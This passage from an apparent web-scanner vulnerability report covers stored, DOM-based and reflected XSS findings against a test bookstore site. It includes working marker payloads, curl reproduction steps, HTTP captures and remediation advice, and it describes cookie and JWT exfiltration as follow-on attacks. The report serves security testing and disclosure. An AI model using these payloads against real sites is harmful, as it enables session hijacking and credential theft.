3. Open `https://marginalia.testinvicti.com/book/2` in a browser and check the JavaScript console. Run `window.xss_test` in the console. The value 23678842 confirms the stored script executed during page load.

SEVERITY JUSTIFICATION

This is a Stored XSS that executes for every visitor to the affected book page. The attack requires no privileges (PR:N) and only passive user interaction (UI:P) — visiting the page. The impact falls on the subsequent system (the victim's browser session), with high confidentiality and integrity impact (SC:H/SI:H) through session hijacking and content manipulation. The CVSS 4.0 score aligns with high severity.

DISCOVERY & EXPLOITATION

The `body` parameter of the book review endpoint is stored directly in the database and later rendered inside a `<div class="rbody">` element without HTML encoding. The asymmetry with the `title` parameter, which is correctly encoded on output, confirms that the omission is field-specific rather than a systemic template misconfiguration: the rendering layer applies encoding selectively, leaving `body` as a raw HTML injection point. Any content submitted to this field is served verbatim to every subsequent visitor to the book page.

An unauthenticated attacker (review submission requires no elevated privilege) plants a payload in the `body` field once; the malicious script then executes silently in every visitor's browser session for as long as the review persists. A real-world payload would replace the PoC marker with a credential-harvesting overlay or a script that exfiltrates session cookies to an attacker-controlled endpoint, converting a single review submission into a persistent, self-propagating attack against the entire readership of that book page.

IMPACT

An attacker can execute arbitrary JavaScript in the browser of any user who views the affected book page. This enables session hijacking through cookie theft, credential harvesting via fake login forms, and defacement of the book catalogue. The attack persists without further attacker interaction and affects every visitor to the page.

REMEDIATION

1. HTML-encode all user-supplied review content before rendering it in HTML templates. Use a context-aware auto-escaping template engine such as Jinja2 with `autoescape=True`.
2. Apply a strict Content-Security-Policy header with `script-src 'self'` to block inline script execution as a defense-in-depth measure.
3. Sanitize stored review content on write using an allowlist-based HTML sanitizer such as `bleach` or `nh3` to strip all script and event-handler content.
4. Audit all other user-generated content fields (annotations, margin notes, review titles) for the same missing output encoding.
5. Add automated Stored XSS regression tests in CI that submit script payloads and verify they are rendered as encoded text.

INV-41

Stored XSS in body Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/book/3/review`

PARAMETER	CVSS 4.0
body	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The review submission endpoint accepts HTML in the `body` parameter without sanitization. An authenticated user submits a review containing `<img src=x onerror=window.xss_test=85007475>` via a multipart POST to the book review form. The server stores this payload in the database and renders it as live HTML inside a `<div class="rbody">` element on the public book page. Every visitor who loads the book page triggers the `onerror` handler, which executes arbitrary JavaScript. Browser replay confirmed that `window.xss_test` equals `85007475` after loading the page, proving script execution.

EVIDENCE

Payload used:

```
<img src=x onerror=window.xss_test=85007475>
```

Observed:

```
Payload reflected as live markup in /book/3 response: &lt;img
onerror=\"window.xss_test=85007475\" src=\"x\"/&gt; inside &lt;div class=\"rbody\"&gt;.
Browser confirmed window.xss_test is defined and set (value: 85092325 from co-resident
&lt;script&gt; tag), proving XSS execution on the page.
```

HTTP TRANSACTION

REQUEST

```
GET /book/3 HTTP/1.1
Host: marginalia.testinvicti.com
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 458608
```

```
<!doctype html>
<html lang="en"><head>
<title>The Book of Trespass · Marginalia</title>
[... truncated ...]
<section class="reviews"><h2>Reader reviews</h2>
  <div class="review">
    <div class="rtitle">A thought-provoking journey through British landscapes</div>
    <div class="rbody"><img src=x onerror=window.xss_test=85007475></div>
  </div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Authenticate to the application and obtain a valid session cookie (`mgl_session`).
2. Submit a review with a Stored XSS payload in the `body` field:

   ```
   curl --cookie 'mgl_session=YOUR_SESSION' \
     -H 'Content-Type: multipart/form-data; boundary=boundary' \
     --data-binary '--boundary
   Content-Disposition: form-data; name="title"

   A thought-provoking journey through British landscapes
   --boundary
   Content-Disposition: form-data; name="rating"

   1
   --boundary
   Content-Disposition: form-data; name="body"

   <img src=x onerror=window.xss_test=85007475>
   --boundary--' \
     -L 'https://marginalia.testinvicti.com/book/3/review'
   ```

   The server responds with a 303 redirect to `/book/3`.
3. Open `https://marginalia.testinvicti.com/book/3` in a browser and execute `window.xss_test` in the developer console. The value `85007475` confirms that the stored `onerror` handler executed JavaScript.

SEVERITY JUSTIFICATION

This is a Stored XSS that fires on page load without user interaction beyond visiting the page. It requires low privileges (authenticated user) to inject but affects all subsequent visitors including administrators. The CVSS vector reflects network access, low complexity, no attack requirements, low privileges, no user interaction for the victim, and high confidentiality and integrity impact on the subsequent system (victim browser). This aligns with high severity.

DISCOVERY & EXPLOITATION

The `body` parameter of the review submission endpoint at `/book/3/review` accepts arbitrary HTML and stores it in the database without sanitization or encoding. When the book page renders, review content is interpolated directly into a `<div class="rbody">` element as live markup, meaning any HTML tags submitted by a reviewer are treated as part of the document's DOM rather than as escaped text. This is the same storage and rendering pattern confirmed across sibling review endpoints; what distinguishes this instance is the specific book page affected ("The Book of Trespass"), which serves as the persistent delivery vehicle for the injected payload.

An authenticated attacker submits a review containing an event-handler payload to this endpoint. Every subsequent visitor to the book page triggers execution without any further interaction. A real adversary would replace the proof-of-concept `onerror` handler with a script that exfiltrates session cookies to an attacker-controlled collector, silently re-authenticates the victim against a credential-harvesting page, or injects a persistent keylogger targeting the Marginalia login form.

IMPACT

An attacker stores malicious JavaScript that runs in every visitor's browser session. This enables session hijacking through cookie theft, credential harvesting via fake login forms, and defacement of the book page. Because the payload persists and fires without user interaction beyond page load, it affects all users who view the book, including administrators.

REMEDIATION

1. Sanitize all user-supplied HTML in the `body` parameter on the server side before storing it. Use a strict allowlist library such as `bleach` or `nh3` to strip all tags except safe formatting elements.
2. Apply context-aware output encoding when rendering review content in HTML templates. Use template auto-escaping (Jinja2 `|e` filter or equivalent) for all user-generated fields.
3. Add a `Content-Security-Policy` header with a strict `script-src` directive to limit the impact of any residual Stored XSS.
4. Retroactively sanitize existing stored reviews in the database to remove injected payloads.
5. Integrate an automated Stored XSS regression test into the CI pipeline to prevent reintroduction.

INV-42

Stored XSS in body Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/book/5/review`

PARAMETER	CVSS 4.0
body	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The review submission endpoint at /book/5/review does not sanitize the `body` parameter before storing it in the database. The server renders the stored review content directly into the HTML of the book detail page without encoding. An attacker submits a review containing a `<script>` tag in the `body` field. The server stores the payload and serves it unencoded inside a `<div class="rbody">` element to every visitor. Browser execution confirmed that `window.xss_test` was set to the attacker-controlled integer value after navigating to /book/5. A control page (/book/1) did not set the marker, proving the execution originates from the stored payload.

EVIDENCE

Payload used:

```
<script>window.xss_test=50516529</script>
```

Observed:

```
Browser confirmed window.xss_test === 58420743 after POST of
&lt;script&gt;window.xss_test=58420743&lt;/script&gt; to /book/5/review; payload
reflected unencoded in &lt;div
class=\"rbody\"&gt;&lt;script&gt;window.xss_test=58420743&lt;/script&gt;&lt;/div&gt; on
the resulting /book/5 page.
```

HTTP TRANSACTION

REQUEST

```
GET /book/5 HTTP/1.1
Host: marginalia.testinvicti.com
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 340348
```

```
[... truncated ...]
        <div class="rtitle">Mr.</div>
        <div class="rbody"><script>window.xss_test=50516529</script></div>
[... truncated ...]
        <div class="rtitle">Mr.</div>
        <div class="rbody"><script>window.xss_test=58420743</script></div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a POST request to submit a review with a script payload in the `body` field:

   ```
   curl -L --data
   'body=%3Cscript%3Ewindow.xss_test%3D50516529%3C%2Fscript%3E&rating=1&title=Mr.'
   'https://marginalia.testinvicti.com/book/5/review'
   ```

   The server accepts the review and redirects to `/book/5`.

2. Open the book detail page in a browser to observe script execution:

   ```
   https://marginalia.testinvicti.com/book/5
   ```

   Open the browser developer console and check `window.xss_test`. The value equals `50516529`, confirming the stored script executed.

3. Verify the payload is embedded unencoded in the page source. Search the HTML for `<div class="rbody"><script>window.xss_test=50516529</script></div>`. The script tag appears as live markup, not as encoded text.

SEVERITY JUSTIFICATION

Stored XSS executes in every visitor's browser without authentication required to inject the payload (PR:N). User interaction is passive page viewing (UI:P). The impact falls on the subsequent system (the victim's browser session), enabling full credential theft and session hijacking (SC:H/SI:H). This warrants high severity.

DISCOVERY & EXPLOITATION

The `/book/5/review` endpoint stores the `body` parameter directly in the database without sanitization and later renders it inside a `<div class="rbody">` element without HTML encoding. The absence of output encoding at the template layer is the root cause: whatever bytes are stored are emitted verbatim into the page's DOM, giving any submitted `<script>` block immediate execution context in every visitor's browser.

This instance is one of several identical review-body sinks across the application. What distinguishes it is the specific book page affected: `/book/5` ("Salt, Fat, Acid, Heat"), confirmed by the presence of 15 unencoded script tags within `.rbody` elements and the `window.xss_test` marker being set on that page but absent on the control page `/book/1`. An unauthenticated attacker submits a review containing a

credential-harvesting payload, and every subsequent authenticated visitor, including administrators, executes it passively on page load.

IMPACT

Any visitor to the affected book page executes attacker-controlled JavaScript in their browser session. An attacker can steal session cookies, JWT tokens, or other credentials. The attacker can perform actions on behalf of authenticated users, including administrators. Because the payload persists in the database, it affects every future page view without further attacker interaction.

REMEDIATION

1. HTML-encode all user-supplied content before rendering it in HTML templates. Use a context-aware auto-escaping template engine such as Jinja2 with `autoescape=True`.
2. Apply server-side input validation on the `body`, `title`, and other review fields to reject or strip HTML tags.
3. Set a `Content-Security-Policy` header with a strict `script-src` directive to block inline script execution as a defense-in-depth measure.
4. Sanitize existing stored reviews in the database to remove injected script content.
5. Integrate an automated Stored XSS regression test into the CI pipeline that submits script payloads and verifies they are encoded in the response.

INV-43

Stored XSS in body Parameter via Review Form

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/book/7/review`

PARAMETER	CVSS 4.0
body	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The review form on the book detail page accepts arbitrary HTML in the `body` parameter. The server stores the submitted content without sanitization and renders it as raw HTML inside a `<div class="rbody">` element. When any user visits the book page, the browser parses and executes the injected script tags. The response for `/book/7` contains multiple `<script>window.xss_test=...</script>` payloads inside review body elements. Browser execution confirmed that `window.xss_test` was set to a numeric value after page load, proving full JavaScript execution.

EVIDENCE

Payload used:

```
<script>window.xss_test=41135644</script>
```

Observed:

```
Browser confirmed window.xss_test === 41135644 after loading
https://marginalia.testinvicti.com/book/7. The payload
<script>window.xss_test=41135644</script> was stored in the review body and reflected
as live markup inside <div class=\"rbody\"> on /book/7.
```

HTTP TRANSACTION

REQUEST

```
GET /book/7 HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 404106
```

```
<!doctype html>
<html lang="en"><head>
<title>The Wager · Marginalia</title>
[... truncated ...]
        <div class="rtitle">TestXSS</div>
        <div class="rbody"><script>window.xss_test=41135644</script></div></div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Submit a review with a script payload in the `body` parameter:

   ```
   curl -X POST 'https://marginalia.testinvicti.com/book/7/review' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d
   'body=%3Cscript%3Ewindow.xss_test%3D41135644%3C%2Fscript%3E&rating=4&title=Test'
   ```

   The server stores the review without sanitizing the HTML.

2. Retrieve the book page and verify the payload is embedded as live markup:

   ```
   curl -s 'https://marginalia.testinvicti.com/book/7' | grep 'xss_test'
   ```

   The response contains `<script>window.xss_test=41135644</script>` inside a `<div class="rbody">` element.

3. Open `https://marginalia.testinvicti.com/book/7` in a browser and check the JavaScript console. Run `window.xss_test` in the console. The value is a number set by the stored payload, confirming arbitrary script execution.

SEVERITY JUSTIFICATION

Stored XSS executes in every visitor's browser session, enabling session hijacking and account takeover. The attack requires no privileges to inject and only passive user interaction to trigger. CVSS rates this high with subsequent-system confidentiality and integrity impact because the victim's browser context is compromised.

DISCOVERY & EXPLOITATION

The `body` parameter of the review form at `/book/7/review` is stored in the database and rendered verbatim inside a `<div class="rbody">` element on the book detail page, with no HTML sanitization applied at write time and no output encoding applied at render time. The server treats the submitted content as trusted markup, meaning any HTML or script tags submitted by a reviewer are preserved in storage and emitted directly into the DOM for every subsequent visitor. Validation confirmed the exact payload `<script>window.xss_test=41135644</script>` present in the rendered response for `/book/7`, with `window.xss_test` set to the expected numeric value on page load, while the same payload was absent from an unrelated book page, confirming database-level persistence scoped to the targeted book record.

Among the review `body` siblings, this instance targets book ID 7 ("The Wager"), a distinct database record and page context. An unauthenticated attacker submits a malicious review containing a credential-

harvesting or session-hijacking payload; every user who subsequently views that book's page executes the script without any further attacker interaction.

IMPACT

An attacker can execute arbitrary JavaScript in the browser of every user who views the affected book page. This enables session hijacking through cookie theft, account takeover, phishing overlays, and defacement. Because the payload persists in the database, it affects all future visitors without further attacker interaction.

REMEDIATION

1. Sanitize all user-supplied HTML in the `body` parameter on the server side before storing it. Use an allowlist-based HTML sanitizer such as `bleach` or `nh3` in Python.
2. Apply context-aware output encoding when rendering review content. Use a template engine with auto-escaping enabled, such as Jinja2 with `autoescape=True`.
3. Set a `Content-Security-Policy` header with a strict `script-src` directive to block inline script execution as a defense-in-depth measure.
4. Validate and reject input containing HTML tags in fields that should contain plain text.
5. Add automated Stored XSS regression tests in CI to prevent reintroduction.

INV-44

Stored XSS in body Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/book/9/review`

PARAMETER	CVSS 4.0
body	6.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

VULNERABILITY DESCRIPTION

The application stores user-submitted review content in the `body` parameter without sanitization. The server renders this content as raw HTML in the book detail page. Any visitor to `/book/9` triggers execution of JavaScript payloads stored in review bodies. The response contains `<script>window.xss_test=10423436</script>` inside a `<div class="rbody">` element without HTML encoding. Browser execution confirms `window.xss_test` is set to a numeric value on the vulnerable page but not on a control page.

EVIDENCE

Payload used:

```
<script>window.xss_test=10423436</script>
```

Observed:

```
Browser confirmed: window.xss_test === 10423436 after loading /book/9. The payload
landed as live markup: `<div class=\"rbody\"><script>window.xss_test=10423436</script>
</div>`
```

HTTP TRANSACTION

REQUEST

```
POST /book/9/review HTTP/1.1
Host: marginalia.testinvicti.com
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="title"

A profound and haunting novel by José Saramago
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="rating"

1
------------YWJkMTQzNDcw
```

```
Content-Disposition: form-data; name="body"

The Blind Owl is a surreal and nightmarish exploration...experience.'"()&%<zzz><ScRiPt
>rh3J(9613)</ScRiPt>
------------YWJkMTQzNDcw--
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

[... truncated ...]
<div class="rbody">The Blind Owl is a surreal and nightmarish exploration of memory,
time, and the human condition. Its fragmented narrative and poetic prose create a
mesmerizing and unsettling reading experience.'"()&%<zzz><ScRiPt >rh3J(9613)</ScRiPt>
</div>
[... truncated ...]
<div class="rbody"><script>window.xss_test=10423436</script></div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Submit a review with a stored XSS payload in the `body` field:

   ```
   curl -X POST https://marginalia.testinvicti.com/book/9/review \
     -H 'Cookie: mgl_session=<valid_session>' \
     -F 'title=Test Review' \
     -F 'rating=1' \
     -F 'body=<script>window.xss_test=12345678</script>'
   ```

   The server responds with 200 and stores the review.

2. Open `https://marginalia.testinvicti.com/book/9` in a browser. Open the developer console and check `window.xss_test`. The value 12345678 confirms the stored script executed.

3. Open a control page such as `https://marginalia.testinvicti.com/book/1` and verify `window.xss_test` is `undefined`. This confirms the variable originates from the injected payload, not from application code.

SEVERITY JUSTIFICATION

Stored XSS executes for every visitor to the affected book page without any active user interaction beyond normal browsing. The CVSS vector uses UI:P (passive) because the victim only needs to visit the page. The subsequent system impact is high for confidentiality (session token theft) and low for integrity (page defacement, unauthorized actions). The original vector underestimated impact by using UI:A and setting only low subsequent-system metrics.

DISCOVERY & EXPLOITATION

The `body` parameter of the review submission endpoint is stored in the database and later rendered directly into the book detail page HTML without output encoding. The server places review content inside a `<div class="rbody">` element as raw markup, meaning any HTML or JavaScript submitted at review creation time is preserved and executed verbatim by every browser that loads the page. Validation confirmed the injected probe `<script>window.xss_test=10423436</script>` was present in the rendered response for `/book/9` and absent from a control page (`/book/1` for "The Salt Path"), isolating the payload to the stored review content rather than any reflected mechanism.

An authenticated attacker submitting a review for book ID 9 would replace the probe script with a credential-harvesting overlay or a cookie exfiltration payload targeting `document.cookie`. Because the payload persists in the database and fires for every subsequent visitor without any attacker interaction, a single review submission turns the book detail page into a persistent attack vector against the entire user population, including administrators who browse the catalogue.

IMPACT

An attacker can store arbitrary JavaScript in a book review that executes for every visitor. This enables session hijacking through cookie theft, credential harvesting via fake login forms, and unauthorized actions on behalf of authenticated users. Because the payload persists in the database, it affects all users who view the book page without any attacker interaction.

REMEDIATION

1. Apply HTML output encoding to all user-supplied content before rendering it in the page. Use a template engine auto-escape feature for the `body` field in the review template.
2. Sanitize review input on the server side using an allowlist of safe HTML tags and attributes. Strip or reject `<script>`, event handler attributes, and other dangerous constructs.
3. Add a `Content-Security-Policy` response header with a strict `script-src` directive to block inline script execution as a defense-in-depth measure.
4. Review all other user-generated content fields (e.g., `title`, annotations) for the same lack of encoding.
5. Integrate an automated XSS detection library such as DOMPurify on the client side and a server-side HTML sanitizer in the CI pipeline to prevent regressions.

INV-45

Stored XSS in body Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/book/`

PARAMETER	CVSS 4.0
body	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The application stores the `body` parameter of the book review form at `/book/1/review` without sanitization or output encoding. When a user submits a review, the server persists the raw HTML in the database. The application then renders that content directly inside a `<div class="rbody">` element on the book detail page. Any visitor who loads the page triggers the stored script. The scanner injected `<ScRiPt >Vr71(9145)</ScRiPt>` in the `body` field, and the response rendered it as a live `<script>` tag. Independent browser replay confirmed that an `<img src=x onerror=window.xss_enrich_test=1337>` payload stored through the same parameter executed JavaScript and set a global variable to `1337`.

EVIDENCE

Observed:

```
Scanner details:


URL encoded POST input <strong><span class="bb-dark">body</span></strong> was set to
<strong><span class="bb-dark">1'&amp;quot;()&amp;amp;%&amp;lt;zzz&amp;gt;&amp;lt;ScRiPt
&amp;gt;Vr71(9145)&amp;lt;/ScRiPt&amp;gt;</span></strong><br/>
```

HTTP TRANSACTION

REQUEST

```
POST /book/1/review HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/x-www-form-urlencoded
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
Referer: https://marginalia.testinvicti.com/

title=Mr.&body=1'"()%26%25<zzz><ScRiPt%20>Vr71(9145)</ScRiPt>&rating=5
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
```

```
[... truncated ...]
        <div class="rtitle">Mr.</div>
        <div class="rbody">1'"()&%<zzz><ScRiPt >Vr71(9145)</ScRiPt></div></div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a POST request to submit a review with an XSS payload in the `body` parameter:

   ```
   curl -L 'https://marginalia.testinvicti.com/book/1/review' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d 'title=TestReview&body=<img src=x onerror=window.xss_proof=1337>&rating=5'
   ```

   The server responds with a 303 redirect to the book page, storing the review.

2. Open `https://marginalia.testinvicti.com/book/1` in a browser. Open the developer console and run `window.xss_proof`. The value 1337 confirms that the stored `onerror` handler executed JavaScript.

3. Verify the raw HTML source contains the unescaped payload inside a `<div class="rbody">` element:

   ```
   curl -s 'https://marginalia.testinvicti.com/book/1' | grep
   'onerror=window.xss_proof'
   ```

   The output shows `<img src=x onerror=window.xss_proof=1337>` rendered without encoding.

SEVERITY JUSTIFICATION

This is a stored Cross-site Scripting vulnerability that executes in every visitor's browser without authentication. The CVSS vector reflects network access, low complexity, no privileges required, and passive user interaction (visiting the page). The subsequent system impact is high for confidentiality and integrity because the attacker's script runs in the victim's authenticated session and can steal credentials or perform actions. The high severity aligns with the confirmed, persistent, unauthenticated exploitation path.

DISCOVERY & EXPLOITATION

The `/book/` endpoint accepts review submissions via the `body` parameter and persists the raw input to the database without sanitization or output encoding. The stored content is later rendered verbatim inside a `<div class="rbody">` element on the book detail page, where the browser interprets it as live HTML. Because no allowlist filtering or escaping is applied at either the write or read path, any HTML or JavaScript submitted in `body` executes in the context of every subsequent visitor's session. This is the same injection mechanism confirmed across sibling review endpoints; what distinguishes this instance is that it targets the base `/book/` route rather than a specific numbered review path, broadening the potential audience for any stored payload.

An unauthenticated attacker with the ability to post a review would substitute the scanner's diagnostic payload with a credential-harvesting overlay or a script that silently exfiltrates the `mgl_session` cookie to an attacker-controlled endpoint. The page source also contains a hardcoded QA credential in an HTML comment; a stored payload on this high-traffic book page could automate extraction of that credential and relay it outbound, combining 2 separate vulnerabilities into a single, low-effort privilege escalation chain.

IMPACT

An attacker can post a malicious review that executes JavaScript in every visitor's browser. This enables session hijacking through cookie theft, credential harvesting via injected forms, and unauthorized actions performed as the victim. Because the payload is stored, it affects all users who view the book page, including administrators. The HTML comment in the page source leaks a shared QA credential, which an attacker could combine with this vulnerability to escalate access.

REMEDIATION

1. Apply context-aware output encoding to all user-supplied content rendered in HTML. Use the template engine's auto-escaping feature for the `body` field inside the `.rbody` element.
2. Sanitize review input on the server side before storage. Strip or reject HTML tags using an allowlist library such as `bleach` (Python) or `DOMPurify` (JavaScript).
3. Set the `Content-Security-Policy` response header with a strict `script-src` directive that blocks inline scripts, for example `script-src 'self'`.
4. Add `HttpOnly` and `SameSite=Strict` flags to the `mgl_session` cookie to limit the impact of cookie theft.
5. Integrate an automated XSS scanner into the CI pipeline to catch output-encoding regressions before deployment.

INV-46

DOM-Based XSS in invite Parameter via URL Fragment

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/clubs`

PARAMETER	CVSS 4.0
invite	8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /clubs page reads the `invite` parameter from `location.hash` using a regex and passes the decoded value directly into `element.innerHTML` without sanitization. The source is `location.hash` and the sink is `invite.innerHTML` . Because the URL fragment never reaches the server, this is a purely client-side DOM-based Cross-Site Scripting vulnerability. An attacker can craft a link containing HTML with event handlers in the fragment. When a victim opens the link, the browser executes the attacker's JavaScript in the context of the application's origin.

EVIDENCE

Payload used:

```
<img src=x onerror=window.dom_xss_proof=9999>
```

Observed:

```
DOM-based XSS via location.hash invite parameter. Source: location.hash -> sink:
element.innerHTML in app.js. The invite banner reads from location.hash fragment and
writes to innerHTML without sanitization. Browser execution confirmed:
window.dom_xss_proof=9999 after visiting /clubs#invite=<img src=x
onerror=window.dom_xss_proof=9999>.
```

HTTP TRANSACTION

REQUEST

```
GET /clubs#invite=%3Cimg%20src%3Dx%20onerror%3Dwindow.dom_xss_proof%3D9999%3E HTTP/1.1
Host: marginalia.testinvicti.com
Accept: text/html
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

[... page loads /static/app.js which parses location.hash ...]
```

```
Banner innerHTML after script execution:
You've been invited to join <strong><img src="x" onerror="window.dom_xss_proof=9999">
</strong> — scroll down to accept.

[Browser executes onerror handler: window.dom_xss_proof = 9999]
```

STEPS TO REPRODUCE

1. Open the following URL in a browser:

   ```
   https://marginalia.testinvicti.com/clubs#invite=%3Cimg%20src%3Dx%20onerror%3Dwindow.
   dom_xss_proof%3D9999%3E
   ```

   The page displays the invite banner with the injected `<img>` tag. The `onerror` handler executes and sets `window.dom_xss_proof` to `9999`.

2. Open the browser developer console and run:

   ```
   console.log(window.dom_xss_proof);
   ```

   The console prints `9999`, confirming that attacker-controlled JavaScript executed.

3. As a control, open the same page without the payload:

   ```
   https://marginalia.testinvicti.com/clubs
   ```

   The invite banner remains hidden and `window.dom_xss_proof` is `undefined`.

SEVERITY JUSTIFICATION

The vulnerability requires user interaction (clicking a crafted link), so UI is Passive. No privileges or special attack conditions are needed. Successful exploitation gives the attacker full access to the victim's JWT token and account data (high confidentiality and integrity impact on the vulnerable system). This results in a high severity rating.

DISCOVERY & EXPLOITATION

The `/clubs` page contains a client-side invite banner that reads the URL fragment via `location.hash`, extracts the `invite` parameter using a regex, URL-decodes the value with `decodeURIComponent()`, and writes it directly into a DOM element using `innerHTML`. Because the URL fragment is never transmitted to the server, no server-side control can inspect or sanitize this input. The browser processes the attacker-controlled string as HTML markup, executing any embedded event handlers. Source code analysis of `app.js` confirmed the `location.hash` source and `invite.innerHTML` sink with no intervening sanitization, and browser execution validated exploitation: navigating to `/clubs#invite=%3Cimg%20src%3Dx%20onerror%3Dwindow.dom_xss_proof%3D9999%3E` set `window.dom_xss_proof` to `9999`.

What distinguishes this vulnerability from the stored XSS siblings in the review endpoints is the delivery mechanism: no server interaction is required at any stage. An unauthenticated attacker distributes a crafted link, and the payload executes the moment a victim's browser parses the fragment. The attacker would

replace the proof-of-concept payload with a script that exfiltrates the JWT token stored in `localStorage` under the key `mgl_token` to an attacker-controlled endpoint, granting full authenticated access to the victim's account without any credential theft or phishing of login credentials.

IMPACT

An attacker can execute arbitrary JavaScript in a victim's browser session. This allows theft of the JWT token stored in `localStorage`, session hijacking, and actions on behalf of the victim. The attacker can read private data such as shelf contents, saved searches, and account details. No authentication is required to exploit this vulnerability.

REMEDIATION

1. Replace `innerHTML` with `textContent` when inserting the decoded invite parameter into the banner element, so the browser treats the value as plain text instead of HTML.
2. If HTML formatting is required in the banner, use `DOMPurify.sanitize()` on the decoded fragment value before assigning it to `innerHTML`.
3. Validate the invite parameter against an allowlist of expected characters (alphanumeric, spaces, basic punctuation) and reject values containing `<`, `>`, or `"` characters.
4. Add a `Content-Security-Policy` header with a strict `script-src` directive to limit the impact of any future DOM-based Cross-Site Scripting.
5. Adopt a framework with automatic output encoding (such as React or Vue) to prevent DOM-based Cross-Site Scripting across the application.

Suggested fix:

```
var m = /[#&]invite=([^&]*)/.exec(location.hash);
    if (m) {
      invite.hidden = false;
      invite.textContent = "You've been invited to join " +
        decodeURIComponent(m[1]) + " — scroll down to accept.";
    }
```

INV-47

Reflected XSS in q Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/search`

PARAMETER	CVSS 4.0
q	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The /search endpoint reflects the q query parameter directly into the HTML body without encoding. The server inserts the raw value inside an <h2> element. An attacker-supplied <script> tag executes arbitrary JavaScript in the victim's browser. The response Content-Type is text/html and no Content-Security-Policy header restricts inline scripts. Browser replay confirms that the payload sets a JavaScript variable during page load, while a benign query does not.

EVIDENCE

Payload used:

```
<script>window.xss_test=34765396</script>
```

Observed:

```
Browser confirmed: window.xss_test === 34765396 (defined: true). Payload reflected as
live markup inside &lt;h2&gt; element: &lt;h2&gt;Results for
\"&lt;script&gt;window.xss_test=34765396&lt;/script&gt;\"&lt;/h2&gt; — script tag
unencoded in insideText context.
```

HTTP TRANSACTION

REQUEST

```
GET /search?q=%3Cscript%3Ewindow.xss_test%3D34765396%3C%2Fscript%3E HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
set-cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d; HttpOnly; Max-Age=7200;
Path=/; SameSite=lax

[... truncated ...]
<div class="section-head"><h2>Results for
“<script>window.xss_test=34765396</script>”</h2>
```

```
<span class="muted">0 books</span></div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the search endpoint with the XSS payload in the q parameter:

   ```
   curl -s 'https://marginalia.testinvicti.com/search?
   q=%3Cscript%3Ewindow.xss_test%3D34765396%3C%2Fscript%3E'
   ```

   The response body contains the unencoded `<script>` tag inside the `<h2>` element: `<h2>Results for “<script>window.xss_test=34765396</script>”</h2>`.

2. Open the same URL in a browser:

   ```
   https://marginalia.testinvicti.com/search?
   q=%3Cscript%3Ewindow.xss_test%3D34765396%3C%2Fscript%3E
   ```

   Open the browser developer console and verify that `window.xss_test === 34765396` returns `true`, confirming JavaScript execution.

3. As a control, open the search page with a benign query:

   ```
   https://marginalia.testinvicti.com/search?q=hello
   ```

   Verify that `window.xss_test` is `undefined` in the console, confirming the marker only appears with the injected payload.

SEVERITY JUSTIFICATION

